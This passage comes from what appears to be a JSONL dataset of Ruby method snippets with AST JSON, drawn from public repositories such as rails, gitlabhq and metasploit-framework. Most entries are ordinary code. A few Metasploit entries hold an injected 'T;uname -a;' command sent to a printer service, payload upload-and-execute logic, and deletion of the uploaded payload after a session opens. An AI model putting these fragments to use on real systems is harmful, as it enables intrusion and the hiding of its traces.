d\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"lvar\",\"children\":[\"details\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"too_many_requests\"]}]}]}]}]}]}","id":"f4d7334b-11a3-4e9a-a9b5-ead79e35d498"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/explain_subscriber_test.rb","start_line":10,"raw_source":"def setup\n ActiveRecord::ExplainRegistry.reset\n ActiveRecord::ExplainRegistry.start\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ExplainRegistry\"]},\"reset\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"ExplainRegistry\"]},\"start\"]}]}]}","id":"faa612fa-0d56-4eac-8018-8c7280bec114"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/irix/lpd/tagprinter_exec.rb","start_line":55,"raw_source":"def check\n connect\n sock.put(\"T;uname -a;\\n\")\n resp = sock.get_once\n disconnect\n\n if resp =~ /IRIX/\n vprint_status(\"Response: #{resp.strip}\")\n return CheckCode::Vulnerable\n end\n\n CheckCode::Safe\n end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"str\",\"children\":[\"T;uname -a;\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"resp\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"IRIX\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Response: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resp\"]},\"strip\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Vulnerable\"]}]}]},null]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"5d75fc4b-c376-4e19-809f-362af09fd285"} {"repo_name":"rails","file_path":"./repos/rails/activejob/test/jobs/hello_job.rb","start_line":6,"raw_source":"def perform(greeter = \"David\")\n JobBuffer.add(\"#{greeter} says hello\")\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"greeter\",{\"type\":\"str\",\"children\":[\"David\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JobBuffer\"]},\"add\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"greeter\"]}]},{\"type\":\"str\",\"children\":[\" says hello\"]}]}]}]}","id":"7f431485-b22a-4c1f-9c2b-81d02532e82d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/project_search_results_spec.rb","start_line":486,"raw_source":"def commit(hash)\n project.repository.commit(hash)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"commit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"commit\",{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}","id":"b70df142-d2cd-4cd8-85d8-18c1f37c32ce"} {"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/listable_topic_serializer.rb","start_line":43,"raw_source":"def include_thumbnails?\n theme_modifier_helper.topic_thumbnail_sizes.present? ||\n DiscoursePluginRegistry.topic_thumbnail_sizes.present?\n end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"include_thumbnails?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"theme_modifier_helper\"]},\"topic_thumbnail_sizes\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"topic_thumbnail_sizes\"]},\"present?\"]}]}]}","id":"c657fcec-7a35-4042-b565-eaa520386a26"} {"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/seeder.rb","start_line":110,"raw_source":"def without_notifications(&)\n Journal::NotificationConfiguration.with(false, &)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"without_notifications\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Journal\"]},\"NotificationConfiguration\"]},\"with\",{\"type\":\"false\",\"children\":[]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"1b7e5c7b-e098-405a-b04e-c402348d5a30"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/app_analytics.rb","start_line":116,"raw_source":"def app_paying_users_interval(start_t, end_t, view_by = nil)\n client.time_series_analytics([apple_id], ['payingUsers'], start_t, end_t, \"DAY\", view_by)\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"app_paying_users_interval\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"start_t\"]},{\"type\":\"arg\",\"children\":[\"end_t\"]},{\"type\":\"optarg\",\"children\":[\"view_by\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"time_series_analytics\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apple_id\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"payingUsers\"]}]},{\"type\":\"lvar\",\"children\":[\"start_t\"]},{\"type\":\"lvar\",\"children\":[\"end_t\"]},{\"type\":\"str\",\"children\":[\"DAY\"]},{\"type\":\"lvar\",\"children\":[\"view_by\"]}]}]}","id":"f5e4f0ab-60ae-4043-9b6d-09959169c973"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/kas.rb","start_line":99,"raw_source":"def enabled?\n !!Gitlab.config['gitlab_kas']&.fetch('enabled', false)\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"gitlab_kas\"]}]},\"fetch\",{\"type\":\"str\",\"children\":[\"enabled\"]},{\"type\":\"false\",\"children\":[]}]},\"!\"]},\"!\"]}]}","id":"90e0869e-726d-415d-9697-dffe5ded685b"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_catalog_resource_version_sem_ver.rb","start_line":11,"raw_source":"def perform\n each_sub_batch do |sub_batch|\n with_release_tag(sub_batch).each do |version|\n match_data = ::Gitlab::Regex.semver_regex.match(normalized_version_name(version.tag))\n\n next unless match_data\n\n version.update!(\n semver_major: match_data[1].to_i,\n semver_minor: match_data[2].to_i,\n semver_patch: match_data[3].to_i,\n semver_prerelease: match_data[4]\n )\n end\n end\n end","complexity_score":28.35,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_release_tag\",{\"type\":\"lvar\",\"children\":[\"sub_batch\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Regex\"]},\"semver_regex\"]},\"match\",{\"type\":\"send\",\"children\":[null,\"normalized_version_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"tag\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"semver_major\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"semver_minor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"semver_patch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"semver_prerelease\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match_data\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]}]}]}]}]}]}]}","id":"a913ac55-31c4-421b-b27b-54657e0dfc70"} {"repo_name":"openproject","file_path":"./repos/openproject/app/seeders/basic_data/workflow_seeder.rb","start_line":68,"raw_source":"def workflows\n seed_data.lookup(:workflows).map do |workflow_data|\n type = seed_data.find_reference(workflow_data[\"type\"])\n statuses = seed_data.find_references(workflow_data[\"statuses\"])\n [type, statuses]\n end\n end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"workflows\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"seed_data\"]},\"lookup\",{\"type\":\"sym\",\"children\":[\"workflows\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"workflow_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"seed_data\"]},\"find_reference\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workflow_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"statuses\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"seed_data\"]},\"find_references\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workflow_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"statuses\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"statuses\"]}]}]}]}]}","id":"8b2298d0-9e5a-4952-b23a-53b0d1dd128b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/network_manager_vpnc_username_priv_esc.rb","start_line":89,"raw_source":"def upload_and_chmodx(path, data)\n upload path, data\n cmd_exec \"chmod +x '#{path}'\"\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_and_chmodx\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"chmod +x '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}","id":"184a2c37-68c0-4f9d-811d-458abc3dbd2c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb","start_line":118,"raw_source":"def on_new_session(client)\n if client.type == \"meterpreter\"\n client.core.use(\"stdapi\") if not client.ext.aliases.include?(\"stdapi\")\n begin\n print_warning(\"Deleting #{@upload_php}\")\n client.fs.file.rm(@upload_php)\n print_good(\"#{@upload_php} removed to stay ninja\")\n rescue\n print_error(\"Unable to remove #{f}\")\n end\n end\n end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"on_new_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"ext\"]},\"aliases\"]},\"include?\",{\"type\":\"str\",\"children\":[\"stdapi\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"core\"]},\"use\",{\"type\":\"str\",\"children\":[\"stdapi\"]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleting \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@upload_php\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"fs\"]},\"file\"]},\"rm\",{\"type\":\"ivar\",\"children\":[\"@upload_php\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@upload_php\"]}]},{\"type\":\"str\",\"children\":[\" removed to stay ninja\"]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unable to remove \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"f\"]}]}]}]}]},null]}]}]},null]}]}","id":"c7ac39af-9c01-4e81-b39a-6388b1863ca3"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/database_selector_test.rb","start_line":280,"raw_source":"def test_the_middleware_chooses_writing_role_with_POST_request\n middleware = ActiveRecord::Middleware::DatabaseSelector.new(lambda { |env|\n assert ActiveRecord::Base.connected_to?(role: :writing)\n [200, {}, [\"body\"]]\n })\n cache = ActiveSupport::Cache::MemoryStore.new\n middleware = ActionDispatch::Session::CacheStore.new(middleware, cache: cache, key: \"_session_id\")\n assert_equal [200, {}, [\"body\"]], middleware.call(\"REQUEST_METHOD\" => \"POST\")\n end","complexity_score":14.25,"ast_json":"{\"type\":\"def\",\"children\":[\"test_the_middleware_chooses_writing_role_with_POST_request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"middleware\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Middleware\"]},\"DatabaseSelector\"]},\"new\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connected_to?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"sym\",\"children\":[\"writing\"]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"body\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cache\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Cache\"]},\"MemoryStore\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"middleware\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Session\"]},\"CacheStore\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"middleware\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cache\"]},{\"type\":\"lvar\",\"children\":[\"cache\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"_session_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"body\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"middleware\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"REQUEST_METHOD\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]}]}]}]}]}]}","id":"f2ede698-76b8-4e5f-b825-360c8316ac29"} {"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/page_hierarchy_helper.rb","start_line":31,"raw_source":"def render_page_hierarchy(pages, node = nil, options = {})\n return \"\" unless pages[node]\n\n content_tag :ul, class: \"pages-hierarchy -with-hierarchy\" do\n chunks = pages[node].map do |page|\n content_tag :li, class: \"-hierarchy-expanded\" do\n is_parent = pages[page.id]\n concat render_hierarchy_item(page, is_parent, options)\n concat render_page_hierarchy(pages, page.id, options) if is_parent\n end\n end\n chunks.join.html_safe\n end\n end","complexity_score":31.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_page_hierarchy\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pages\"]},{\"type\":\"optarg\",\"children\":[\"node\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pages\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"ul\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"pages-hierarchy -with-hierarchy\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"chunks\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pages\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"sym\",\"children\":[\"li\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"-hierarchy-expanded\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"is_parent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pages\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[null,\"render_hierarchy_item\",{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"is_parent\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_parent\"]},{\"type\":\"send\",\"children\":[null,\"concat\",{\"type\":\"send\",\"children\":[null,\"render_page_hierarchy\",{\"type\":\"lvar\",\"children\":[\"pages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},null]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"chunks\"]},\"join\"]},\"html_safe\"]}]}]}]}]}","id":"bd344b30-cab7-4898-b71d-cfed6cbc96de"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/gitlab/due_at_filterable.rb","start_line":11,"raw_source":"def self.scoped_table\n arel_table.alias(table_name)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"scoped_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"alias\",{\"type\":\"send\",\"children\":[null,\"table_name\"]}]}]}","id":"f9dfa76e-85b9-429d-bcc1-e13af3559ec4"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/maracms_upload_exec.rb","start_line":289,"raw_source":"def exploit\n login\n\n upload_payload\n\n # For `php` targets, the payload can be executed via a simlpe GET request. For other targets, a cmdstager is necessary.\n if target['Platform'] == 'php'\n print_status('Executing the payload...')\n send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, @payload_name)\n }, 0) # don't wait for a response from the target, otherwise the module will hang for a few seconds after executing the payload\n else\n print_status(\"Executing the payload via a series of HTTP GET requests to `/#{@payload_name}?#{@shell_cmd_name}=<command>`\")\n execute_cmdstager(background: true)\n end\n end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"login\"]},{\"type\":\"send\",\"children\":[null,\"upload_payload\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Platform\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing the payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]}]}]},{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing the payload via a series of HTTP GET requests to `/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@payload_name\"]}]},{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shell_cmd_name\"]}]},{\"type\":\"str\",\"children\":[\"=<command>`\"]}]}]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"background\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}","id":"99230b3d-8908-47fa-b92a-6d80fbf36c56"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/appaloosa.rb","start_line":95,"raw_source":"def self.screenshots_list(path, locale, device)\n return warning_detected(\"screenshots folder not found\") unless Dir.exist?(\"#{path}/#{locale}\")\n list = Dir.entries(\"#{path}/#{locale}\") - ['.', '..']\n list.map do |screen|\n next if screen.match(device).nil?\n \"#{path}/#{locale}#{screen}\" unless Dir.exist?(\"#{path}/#{locale}#{screen}\")\n end.compact\n end","complexity_score":16.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"screenshots_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"locale\"]},{\"type\":\"arg\",\"children\":[\"device\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"exist?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"warning_detected\",{\"type\":\"str\",\"children\":[\"screenshots folder not found\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"entries\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]}]},\"-\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"..\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"screen\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"screen\"]},\"match\"